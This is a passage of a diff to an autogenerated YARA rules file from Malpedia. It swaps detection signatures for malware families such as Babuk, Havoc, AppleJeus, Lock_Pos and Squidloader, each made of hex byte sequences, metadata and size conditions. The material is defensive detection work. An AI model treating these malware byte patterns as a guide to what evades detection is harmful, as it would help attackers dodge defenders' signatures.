488d15f9750000 e8???????? 4885c0 740f } - $sequence_4 = { 48895c2408 4889742410 57 4883ec20 418bf0 4c8d0d8fcf0000 } - $sequence_5 = { 7832 3b0d???????? 732a 4863c9 4c8d05e89f0300 488bc1 } - $sequence_6 = { 4c8d0d757d0000 488bd9 488d156b7d0000 b916000000 4c8d05577d0000 e8???????? 488bcb } - $sequence_7 = { 4c8d05117f0000 488d1592750000 e8???????? 8bcb } - $sequence_8 = { 488bf8 4885c0 0f8483000000 41b812000000 488d1569550100 488bc8 ff15???????? } - $sequence_9 = { 44895c2448 81fae9fd0000 0f8570010000 4c8d3d23aaffff 418bd3 } + $sequence_0 = { 57 4883ec20 488bf9 4c8d0df8c50000 b903000000 4c8d05e4c50000 } + $sequence_1 = { 488bec 4883ec40 488d45e8 48894de8 488945f0 488d15c0a80000 b805000000 } + $sequence_2 = { 488d0d620b0000 e8???????? e8???????? 488d15794a0100 488d0d524a0100 } + $sequence_3 = { 81f95d68fa3c 0f85a3000000 4d8b5620 41bfffff0000 } + $sequence_4 = { 895128 488d0d6fa90000 488b45d8 488908 } + $sequence_5 = { 4533ff 443b432c 723d 450fb75a06 410fb7d7 66453bfb 732b } + $sequence_6 = { 4c8d442458 488d4c2438 e8???????? 4c8d4820 4889442420 4c8bc3 488d5588 } + $sequence_7 = { 488bd8 483b5c2440 e9???????? c644243000 488d8570060000 4889442428 4c8d4c2450 } + $sequence_8 = { 48894a08 488d4c2420 e8???????? 488d05ce3a0100 488903 488bc3 } + $sequence_9 = { cc 4883ec48 488bd1 488d4c2420 e8???????? 488d15dcdc0100 } condition: - 7 of them and filesize < 593920 + 7 of them and filesize < 389120 } -rule MALPEDIA_Win_Babuk_Auto : FILE +rule MALPEDIA_Win_Nitlove_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "77f91e38-4269-56c5-a99d-eaf5692c6027" + id = "84765628-80ab-5981-9ee3-a789670212a2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.babuk_auto.yar#L1-L166" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitlove" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nitlove_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "e2bb83a66a607df7c2662bebeca5bbfe5fab26f1661308e86fffacc36a5ed578" + logic_hash = "6dc343446a186927b9f2cf65101150f5f9c6342bdace19bd149edbf93300570a" score = 75 quality = 75 tags = "FILE" @@ -128177,40 +128110,34 @@ rule MALPEDIA_Win_Babuk_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 6800000100 e8???????? 83c404 } - $sequence_1 = { 50 ff15???????? 83f803 7502 } - $sequence_2 = { ba08000000 6bc200 8b4d08 8b540104 52 8b0401 50 } - $sequence_3 = { 56 57 b808000000 6bc80a 8b5508 c7040a00000000 } - $sequence_4 = { 3dea000000 0f85d9000000 8b55ac 52 e8???????? 83c404 } - $sequence_5 = { c7440a0400000000 c745fc00000000 eb09 8b45fc 83c002 8945fc } - $sequence_6 = { 8b85ecfdffff 8b8de4fdffff 8b948d70fdffff 89948508fdffff 8b85ecfdffff 83c001 } - $sequence_7 = { 8b44ca04 50 8b0cca 51 e8???????? 83c408 8945f4 } - $sequence_8 = { eb02 ebbe 8b4d9c 51 ff15???????? } - $sequence_9 = { 0f83dc000000 8b4dfc 8b5508 8b44ca04 } - $sequence_10 = { 8b0401 50 e8???????? 83c408 8945ec 8955f0 b908000000 } - $sequence_11 = { c7040100000000 c744010400000000 ba08000000 6bc200 } - $sequence_12 = { 894dfc 837dfc08 7d1e 8b55fc } - $sequence_13 = { 8985c0fdffff 83bdc0fdffff00 0f84a1000000 c785ccfdffff00000000 eb0f } - $sequence_14 = { ba08000000 6bc20a 8b4d08 c7040100000000 c744010400000000 } - $sequence_15 = { 8b8c8508fdffff 51 ff15???????? eb02 } + $sequence_0 = { 57 6a0b 59 be???????? 8d7dc8 f3a5 b902000080 } + $sequence_1 = { 03f0 c1e007 33f0 42 3bd7 7ce9 33c0 } + $sequence_2 = { b359 51 8d857cffffff 50 51 } + $sequence_3 = { 6a00 6aff ffd0 bab2bb282b 8bcb } + $sequence_4 = { 6aff ffd7 0fb785dcfeffff 33c9 ba1e3d0000 66898c0504feffff } + $sequence_5 = { ba4d8a978a 8bcb e8???????? ffd0 51 } + $sequence_6 = { 56 57 83ceff 33ff 8bd9 85d2 7e21 } + $sequence_7 = { 6a05 ffd6 833b00 747a 33db } + $sequence_8 = { e8???????? 8b45ec 83c43c 5f } + $sequence_9 = { 33f6 8b45f0 0345e4 8b4dd4 } condition: - 7 of them and filesize < 183296 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Rtpos_Auto : FILE +rule MALPEDIA_Win_Squidloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "48afc2d3-0fb5-53bf-8881-dc9c81c0d9e1" + id = "7aae3b25-945a-5fb1-9acc-809b1e90e6e6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtpos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rtpos_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.squidloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.squidloader_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "0b0f1725f7ad0b7de27494142fb6c361ef93a30e83e526a4fdbf697f28682ace" - score = 75 - quality = 75 + logic_hash = "a855ddb0a2fda3c6498fbc6ae734c571ea8f3a4a311f9d9ebae8f8d336ad0dd5" + score = 60 + quality = 55 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -128222,32 +128149,32 @@ rule MALPEDIA_Win_Rtpos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 8b55d4 52 ff15???????? 8b45cc 50 ff15???????? } - $sequence_1 = { 8d8dd8fcffff 51 e8???????? 83c40c c785c4fcffff00000000 } - $sequence_2 = { 50 ff15???????? 8b4dcc 51 ff15???????? e9???????? 8b55ec } - $sequence_3 = { 8945b4 837db4ff 0f84d8010000 33c0 8945e8 8945ec } - $sequence_4 = { 0f84bc9f0000 ff7508 48 a3???????? } - $sequence_5 = { 85c0 751b 8b4dd4 51 ff15???????? } - $sequence_6 = { 6bf830 894df8 6a0a 8b048db86a4300 5b 8b543818 8955ec } - $sequence_7 = { 8b048db86a4300 f644382848 58 743a 668b55fc 663bd0 7505 } - $sequence_8 = { c745d800000000 837ddc00 7411 8b4ddc 51 } - $sequence_9 = { 6a02 8d4dfc e8???????? 8b4d08 c7410801000000 8b5108 8b049524604300 } + $sequence_0 = { 0f114c2440 0f114c2450 0f114c2460 0f114c2470 } + $sequence_1 = { 5f 5e c3 4053 4883ec30 488bd9 8b4934 } + $sequence_2 = { c3 4053 4883ec30 488bd9 8b4934 83e902 } + $sequence_3 = { 57 4881ec90000000 488b05???????? 4833c4 4889842480000000 488bda 488bf9 } + $sequence_4 = { 5e c3 4053 4883ec30 488bd9 8b4934 } + $sequence_5 = { c3 4053 4883ec30 488bd9 8b4934 83e902 746a } + $sequence_6 = { c3 4053 4883ec30 488bd9 8b4934 } + $sequence_7 = { 5e c3 4053 4883ec30 488bd9 8b4934 83e902 } + $sequence_8 = { ffd3 48837c242800 0f84ae000000 b8ffffffff f00fc105???????? 85c0 7f0c } + $sequence_9 = { e8???????? f30f108424a0010000 f30f108c24a4010000 e8???????? f20f108c2420010000 0f16d1 0fc6c000 } condition: - 7 of them and filesize < 507904 + 7 of them and filesize < 18701312 } -rule MALPEDIA_Win_Crypmic_Auto : FILE +rule MALPEDIA_Win_Havoc_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a26f518b-f54e-5798-8fd7-c3e715fae74e" + id = "5b73e703-1ccd-5166-ac2d-206885cae394" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypmic" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crypmic_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.havoc" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.havoc_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "c8a49a63b1990f5f0d77a9fcf41412b9f9f6710da574c5641db1ab5f7eadc95a" + logic_hash = "81f90ef0d0bf3fd238a11a66b3faf732476c67ba4c05a3cc03c8bd35850d8f8f" score = 75 quality = 75 tags = "FILE" @@ -128261,32 +128188,32 @@ rule MALPEDIA_Win_Crypmic_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 55 8bec 83ec10 837d0800 8bc2 894df8 0f868c000000 } - $sequence_1 = { 740a 8d4002 46 66833800 75f6 8d3c72 33c0 } - $sequence_2 = { 8d3409 33db 0fb7143e 663bda } - $sequence_3 = { 66833800 75f6 8d3c72 33c0 } - $sequence_4 = { 0fb78c15c0fdffff 663bf1 75e8 8b75f4 } - $sequence_5 = { 8b4e08 53 6a08 ff7604 } - $sequence_6 = { 8bec 81ec70020000 8b4108 53 56 } - $sequence_7 = { 56 57 894df4 83f828 7252 83e828 } - $sequence_8 = { 50 8b4608 6a08 ff7604 ffd0 8bf8 c70728000000 } - $sequence_9 = { bb04000000 eb27 83f808 7707 } + $sequence_0 = { 7512 31c0 80bc245e01000001 0f94c0 } + $sequence_1 = { 4489c0 4501c0 c0e807 4531cf 448a4afe } + $sequence_2 = { 884c2439 8a4c243a 8844243a 8a442436 884c2432 8a4c243e 8844243e } + $sequence_3 = { 4154 55 89cd b940000000 } + $sequence_4 = { 83f902 7512 31c0 80bc245e01000001 0f94c0 } + $sequence_5 = { 488b01 ff5018 85c0 75e2 488b0b } + $sequence_6 = { 4889cb 4883ec78 4885c9 7507 31c0 e9???????? 4889d1 } + $sequence_7 = { 4883ec20 e8???????? 488b06 488b5608 488983f0000000 488993f8000000 488d65f0 } + $sequence_8 = { 4989d0 31d2 4c898c2488000000 498b0424 4c8d8c2480000000 4c894c2438 4c894c2428 } + $sequence_9 = { 7407 488b442428 eb1b 488b06 4883c9ff } condition: - 7 of them and filesize < 81920 + 7 of them and filesize < 164864 } -rule MALPEDIA_Win_Flash_Develop_Auto : FILE +rule MALPEDIA_Win_Applejeus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4688ecaa-1305-56f1-b990-d34d1967b3cd" + id = "c7de82bf-02e2-54ab-8e92-30ad8fa19555" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flash_develop" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flash_develop_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.applejeus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.applejeus_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "1b0b49a0bdf8cbe355d0f549d184abf36cc5a8a27ac3e4b70ddcdc76ec6e38f0" + logic_hash = "7da7577e0a48835aa3f87ca6b5019a6bd26bede335ed264656ca8273c5cb6ea4" score = 75 quality = 75 tags = "FILE" @@ -128300,71 +128227,74 @@ rule MALPEDIA_Win_Flash_Develop_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 55 56 33c9 57 0fb68170034200 99 8bf0 } - $sequence_1 = { 33fa 0fa4f708 c1e608 8934cd40484800 99 } - $sequence_2 = { c78424c8020000e0b04600 c78424cc02000068df4600 c78424d0020000b40d4700 c78424d4020000503e4700 c78424d8020000446e4700 c78424dc0200000c9d4700 c78424e0020000b0cc4700 } - $sequence_3 = { 891ccd28184800 892ccd2c184800 0fa4f710 c1e610 33f0 33fa 0fa4f708 } - $sequence_4 = { 33fa c1e308 892ccd2c204800 8bef 0fa4f708 891ccd28204800 8bde } - $sequence_5 = { 893ccd44484800 8bf0 8bfa 0fa4f708 } - $sequence_6 = { 892ccd34204800 8bef 0fa4f708 33fa 891ccd30204800 8bde c1e608 } - $sequence_7 = { c7842464010000240a4200 c7842468010000043a4200 c784246c01000070694200 c7842470010000cc9a4200 } - $sequence_8 = { 0fb68170054200 33ea 0fa4dd10 33fa 99 8934cd28304800 } - $sequence_9 = { 893ccd44404800 83c104 81f900010000 0f8c39f8ffff 5f 5e 5d } + $sequence_0 = { 8bb540eeffff 56 ff15???????? 56 ffd7 ffb5e0edffff ffd7 } + $sequence_1 = { 8bc8 51 e8???????? 83c404 c7460800000000 c7460400000000 ff36 } + $sequence_2 = { 8b75e4 83c410 0bf0 c745d8d4b24500 8d45dc 50 e8???????? } + $sequence_3 = { 8bf8 ffd6 ffb5b0fdffff 8bb588feffff 8bc8 b8ed73484d } + $sequence_4 = { 897008 e8???????? 8d8dd8ecffff e8???????? 8d8dd4efffff e8???????? 6a64 } + $sequence_5 = { 6a08 c645fc16 e8???????? 83c404 8985e4f6ffff 898568f4ffff c700???????? } + $sequence_6 = { 0f84d3000000 8b048d74db4500 8985a4f8ffff 85c0 0f8498000000 83f801 0f84b5000000 } + $sequence_7 = { 8bf0 6a0c 8975e4 8975d0 0f114604 c706???????? f30f7e45c4 } + $sequence_8 = { 8885fcfcffff 8b85dcfcffff 041d 83f05c 8885fdfcffff 8b85dcfcffff } + $sequence_9 = { 8b4308 33ff 807e2c00 8945c4 0f842e010000 8b4808 0f57c0 } condition: - 7 of them and filesize < 1111040 + 7 of them and filesize < 1245184 } -rule MALPEDIA_Win_Yibackdoor_Auto : FILE +rule MALPEDIA_Win_Lock_Pos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bd826b97-b05e-574c-adcf-8cef34bea245" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yibackdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yibackdoor_auto.yar#L1-L131" + id = "66d7719a-09f7-5449-96c8-7a2badb35721" + date = "2024-10-31" + modified = "2024-11-11" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lock_pos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lock_pos_auto.yar#L1-L147" license_url = "N/A" - logic_hash = "72cc75115eff495a52d292944ce30cf871fe0425f0d810307073cc2873931dac" + logic_hash = "68264cf97fe11e22f20de5aa9fd8236aae89e24686e8c6b06c621f87466b5d04" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20241030" + malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" + malpedia_version = "20241030" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c897ddf 488b18 e8???????? 488d4d6f 4c8bc3 48894c2440 } - $sequence_1 = { 33f6 4d85db 744a 4f8d0c00 498bf8 4d85c0 7439 } - $sequence_2 = { 743f 4180f97b 0f84b6000000 4180f92d 740e 4180e930 4180f909 } - $sequence_3 = { 33c9 e8???????? 488b4def ffd0 4c3965f7 741e 41b9fc000000 } - $sequence_4 = { ff15???????? 488b5c2450 448d4fda 33d2 33c9 41b842a86f9e e8???????? } - $sequence_5 = { 488bd8 e8???????? 488bcb 4c8b4008 488b10 e8???????? 488d15cd5c0000 } - $sequence_6 = { 448bc2 41c1e803 4183f80a 7de8 4d85d2 7464 4885db } - $sequence_7 = { 458bfe e8???????? 4533c9 4489742420 4533c0 33d2 } - $sequence_8 = { c3 33d2 488bc1 4885c9 7505 c3 4883c102 } - $sequence_9 = { 488b5028 c745db05000000 e8???????? 488bd0 488d4de3 e8???????? } + $sequence_0 = { 8bec 8b4508 8b0d???????? 8b0481 } + $sequence_1 = { 8bec 837d0800 7704 33c0 } + $sequence_2 = { 6a00 6a23 6a00 ff15???????? 8d8df8fdffff } + $sequence_3 = { 55 8bec 81eca4040000 56 } + $sequence_4 = { 8d85f8fdffff 50 6a00 6a00 6a23 } + $sequence_5 = { 6a00 32db e8???????? 8bf8 59 59 85ff } + $sequence_6 = { 8b450c 85c0 740a 8b55f8 8911 8b4dfc 8908 } + $sequence_7 = { ff15???????? 85c0 7555 57 6a04 8d45e4 50 } + $sequence_8 = { 8b4de4 034804 894de4 8b55f0 8b45f0 034204 8945f0 } + $sequence_9 = { 6a04 8b4508 50 8d4dec 51 e8???????? 83c40c } + $sequence_10 = { 8908 837df400 740b 8b55f4 } + $sequence_11 = { 837dfc00 7414 8b450c 50 8b4d08 51 } + $sequence_12 = { 8b45dc 83e801 8945dc 85d2 0f843a010000 8b4df4 668b11 } condition: - 7 of them and filesize < 147456 + 7 of them and filesize < 319488 } -rule MALPEDIA_Win_Gopuram_Auto : FILE +rule MALPEDIA_Win_Telepowerbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b03e678a-6ea1-5889-b388-a101df87e17a" + id = "4bff86f2-d32a-5469-938e-31ce8cf733ec" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gopuram" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gopuram_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.telepowerbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.telepowerbot_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "6d230510a2c3f67fb9a008e4b353ed01e99faca2f2088eff568ec22152cbe40b" + logic_hash = "80a377e11ec6e9ac3641490e489c4670d07e0d249413d61709ebf14e5db777cd" score = 75 quality = 75 tags = "FILE" @@ -128378,34 +128308,34 @@ rule MALPEDIA_Win_Gopuram_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d15a3cb0200 488d0d645c0500 e8???????? 488d15c4c60200 488bc8 488b5c2430 4883c420 } - $sequence_1 = { e8???????? 85c0 743e 488d157b930500 488bcf e8???????? 85c0 } - $sequence_2 = { ff10 4c8bc7 ba10000000 488bcb e8???????? 488bc3 e9???????? } - $sequence_3 = { 7e1c 4183ff09 0f8eae000000 4183ff0a 750c 488d05833c0500 4889442450 } - $sequence_4 = { e8???????? 488d5606 488d4da8 41b802000000 66448965bc e8???????? 488d560c } - $sequence_5 = { 8be8 85ed 0f842f010000 488b5c2470 488d8b18010000 ff15???????? 498b06 } - $sequence_6 = { 8bd8 e8???????? 4c8d05df1e0800 41b9de010000 8bd7 498bce c744242000000000 } - $sequence_7 = { 85f6 0f8486050000 488b85600a0000 4889442440 c744242801000000 48895c2420 4533c9 } - $sequence_8 = { c705????????03400080 c705????????f4060780 890d???????? c705????????09000380 418bc4 413b7ffc 750d } - $sequence_9 = { 488bcd e8???????? 8bf8 85c0 782a 498bd6 488bcd } + $sequence_0 = { 6a01 68???????? 6a01 50 68???????? ff75f8 ffd6 } + $sequence_1 = { 817848d0924100 7409 ff7048 e8???????? 59 } + $sequence_2 = { ff348518234100 52 51 e8???????? 83c40c } + $sequence_3 = { 43 03c3 03c7 ff348518234100 52 51 e8???????? } + $sequence_4 = { eb55 0fb607 0fbe8800914100 41 894dd4 3bca 0f8f9e010000 } + $sequence_5 = { f20f59db 660f282d???????? 660f59f5 660f28aaf05e4100 660f54e5 660f58fe 660f58fc } + $sequence_6 = { eb07 8b04f5cc4e4100 5f 5e 5b } + $sequence_7 = { 8b8d84f8ffff 85c9 0f84b5050000 8b048d5c3d4100 8985a8f8ffff } + $sequence_8 = { c1ff06 6bd838 8b04bdf09d4100 f644032801 7444 837c0318ff } + $sequence_9 = { 85c9 0f84b5050000 8b048d5c3d4100 8985a8f8ffff 85c0 7562 } condition: - 7 of them and filesize < 1591296 + 7 of them and filesize < 237568 } -rule MALPEDIA_Win_Zeoticus_Auto : FILE +rule MALPEDIA_Win_Aresloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e7b44470-c2f9-5eee-bb9d-e8020120bbe3" + id = "f289d632-cafa-52d9-b441-3cf36142832f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeoticus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeoticus_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aresloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aresloader_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "9c3c5f162f682b504ac63e5a0d758fab5141989ce6052830dd9338be25cf4ff1" - score = 75 - quality = 75 + logic_hash = "7dea272de803a78d1da18f0ee0ed5e7c3024e3919d3d811c7316d385075c0ef8" + score = 60 + quality = 25 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -128417,32 +128347,32 @@ rule MALPEDIA_Win_Zeoticus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 660f6e9c248c000000 660f62d8 0f29942490000000 660f6e942414010000 660f62ca 660f6e9424a0000000 0f295c2410 } - $sequence_1 = { b9d0fe4bac e8???????? 83c408 a3???????? 6a00 6a00 } - $sequence_2 = { 660feff0 8345f010 0f117710 8345ec10 83c720 0f1002 } - $sequence_3 = { 8d8690101000 8bd7 8d8ee8101000 50 83ec08 e8???????? } - $sequence_4 = { 0f286c2430 660fd4e0 0f29bc2490000000 660f73d03f 660f6eff 660fefe0 660f3a0fdd08 } - $sequence_5 = { 8b842498010000 898424f0000000 8b84249c010000 898424f4000000 8b8424a0010000 898424f8000000 8b8424a4010000 } - $sequence_6 = { 8b4618 314718 8b461c 31471c 8b4620 } - $sequence_7 = { 50 6a00 ff15???????? 85c0 0f84e7000000 33db 33c9 } - $sequence_8 = { 8b7020 03f3 0f1f4000 8b06 bac59d1c81 03c3 } - $sequence_9 = { 0f295c2410 0f28442410 660f62c1 660fd4c6 660f6ec9 660fd4c5 660f62ca } + $sequence_0 = { 895c2404 893424 e8???????? 85c0 7831 39d8 7205 } + $sequence_1 = { 39d8 7205 c6441eff00 83c41c 5b } + $sequence_2 = { 83ec1c 8b5c2434 8b742430 8b7c2438 8b6c243c 85db 7435 } + $sequence_3 = { 8b6c243c 85db 7435 85f6 7431 } + $sequence_4 = { 85f6 7431 896c240c 897c2408 895c2404 } + $sequence_5 = { 85db 7435 85f6 7431 896c240c } + $sequence_6 = { 8b5c2434 8b742430 8b7c2438 8b6c243c 85db 7435 85f6 } + $sequence_7 = { 85c0 7831 39d8 7205 } + $sequence_8 = { 7431 896c240c 897c2408 895c2404 893424 } + $sequence_9 = { e8???????? 85c0 7831 39d8 7205 c6441eff00 83c41c } condition: - 7 of them and filesize < 468992 + 7 of them and filesize < 2657280 } -rule MALPEDIA_Win_Tarsip_Auto : FILE +rule MALPEDIA_Win_Mmon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "75e9f569-8d36-54c4-8e68-bdfe5fadb50e" + id = "4eb1ee5b-1ba9-50c6-ae95-4549a25a6630" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tarsip" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tarsip_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mmon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mmon_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "d620ca424e61c9ab1970fe1ca1122ff88c39fb4068349c8790c7e61013d76968" + logic_hash = "76045ffea1c47426874a11f386aa4b20c1d58a676ebe84d462f434375b141ab2" score = 75 quality = 75 tags = "FILE" @@ -128456,32 +128386,32 @@ rule MALPEDIA_Win_Tarsip_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 895c2420 885c2410 6a25 68???????? 8d4c2414 899c243c010000 e8???????? } - $sequence_1 = { 53 68???????? 8d4c247c c78424940000000f000000 899c2490000000 889c2480000000 } - $sequence_2 = { b001 894c2410 88442414 0f85ff000000 8b742434 8b4614 8b4e18 } - $sequence_3 = { 7210 8b9424dc000000 52 e8???????? 83c404 84db 745c } - $sequence_4 = { ff15???????? 5b 33c0 5e c3 57 6a00 } - $sequence_5 = { 885c2470 6a0e 68???????? 8d4c2474 899c24bc0e0000 e8???????? 68ff000000 } - $sequence_6 = { 51 c68424c801000000 e8???????? 8bbc248c000000 be10000000 83c40c 39b42494000000 } - $sequence_7 = { 50 52 53 e8???????? 8b8690830000 8b08 } - $sequence_8 = { 8d44242c 50 8d4c242c 51 8d542424 52 ffd6 } - $sequence_9 = { eb03 897e08 8b5118 392a 7520 807f4500 7404 } + $sequence_0 = { 8bf8 8b4710 3bc8 770d 83c8ff 8bf7 e8???????? } + $sequence_1 = { 837e0800 7610 8b4608 8d80ec584200 fe08 803800 } + $sequence_2 = { e8???????? ebd2 8bc3 c1f805 8d3c85606a4200 8bf3 83e61f } + $sequence_3 = { ff15???????? 899ec0000000 899ec4000000 c786c8000000e0e74100 c786cc00000068ec4100 c786d0000000e8ed4100 } + $sequence_4 = { 68???????? 8d4df4 51 c745f440e24100 } + $sequence_5 = { 8bc8 894de4 85c9 747b 8b55d4 85d2 } + $sequence_6 = { 83e71f c1e706 8b0485606a4200 8d44380c } + $sequence_7 = { 8bc8 c1f905 8d3c8d606a4200 8bf0 83e61f c1e606 8b0f } + $sequence_8 = { 8b0d???????? 85c9 7406 8b55ec } + $sequence_9 = { 6a00 8bf1 c745d000000000 ff15???????? 8bf8 33c0 4f } condition: - 7 of them and filesize < 360448 + 7 of them and filesize < 356352 } -rule MALPEDIA_Win_Atomsilo_Auto : FILE +rule MALPEDIA_Win_Shakti_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3a4d686f-c99d-5c01-b555-7095e6b70c0c" + id = "46b500e9-a975-5cdc-a985-5108deee61aa" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atomsilo" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atomsilo_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shakti" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shakti_auto.yar#L1-L175" license_url = "N/A" - logic_hash = "8aed315237abd1e84c2f2f4a7b7891e44774fb638cce5cdf1ee6cabd913c51c4" + logic_hash = "b5c0b26c5dc41457d9e16bd381b5ef6f5c4b5edd5ff24e7078690fca0d450c8b" score = 75 quality = 75 tags = "FILE" @@ -128495,90 +128425,77 @@ rule MALPEDIA_Win_Atomsilo_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48c7c03f000000 23c1 488d0d7a8d0100 f20f5904c1 f20f5804c1 660f72e406 660f73f434 } - $sequence_1 = { 90 488d4f78 488d542458 e8???????? 488bd8 488b4c2470 48394c2468 } - $sequence_2 = { 4053 4883ec20 488d054b400800 488bd9 488901 488d052e420800 48894108 } - $sequence_3 = { 480134c7 0f8593010000 ffc1 8bc1 493bc0 72ed 488b5318 } - $sequence_4 = { 48c7442458ffffffff 4c89742460 4d85f6 7505 498bef eb0b 498bce } - $sequence_5 = { 4183cf08 44897c2420 4c8d4c2458 4c8bc6 488d55b8 488d4d88 e8???????? } - $sequence_6 = { 4103c7 c1ca02 448b7c2408 03c8 4403c9 4433ff } - $sequence_7 = { 8bc9 488b542430 8b0c8a c1e908 0fb6c9 488d1554b50500 } - $sequence_8 = { 488d0dda730900 8b542440 83c202 8bd2 4c8b442430 418b1490 c1ea10 } - $sequence_9 = { 488bd0 488bcb e8???????? 4103f5 413bf4 72c1 488b45a7 } + $sequence_0 = { 894df0 e9???????? 8b55fc 83c214 } + $sequence_1 = { 894dfc e9???????? 8b55f8 8b45d8 } + $sequence_2 = { 8945ec 8b4dec 8b55c0 0311 8955d0 8b45d0 8b4dc0 } + $sequence_3 = { 894dcc 8b55fc 83c208 8955f0 8b45cc } + $sequence_4 = { 8b4de0 8b11 8955e0 e9???????? 8b45d8 } + $sequence_5 = { 894df0 8b55fc 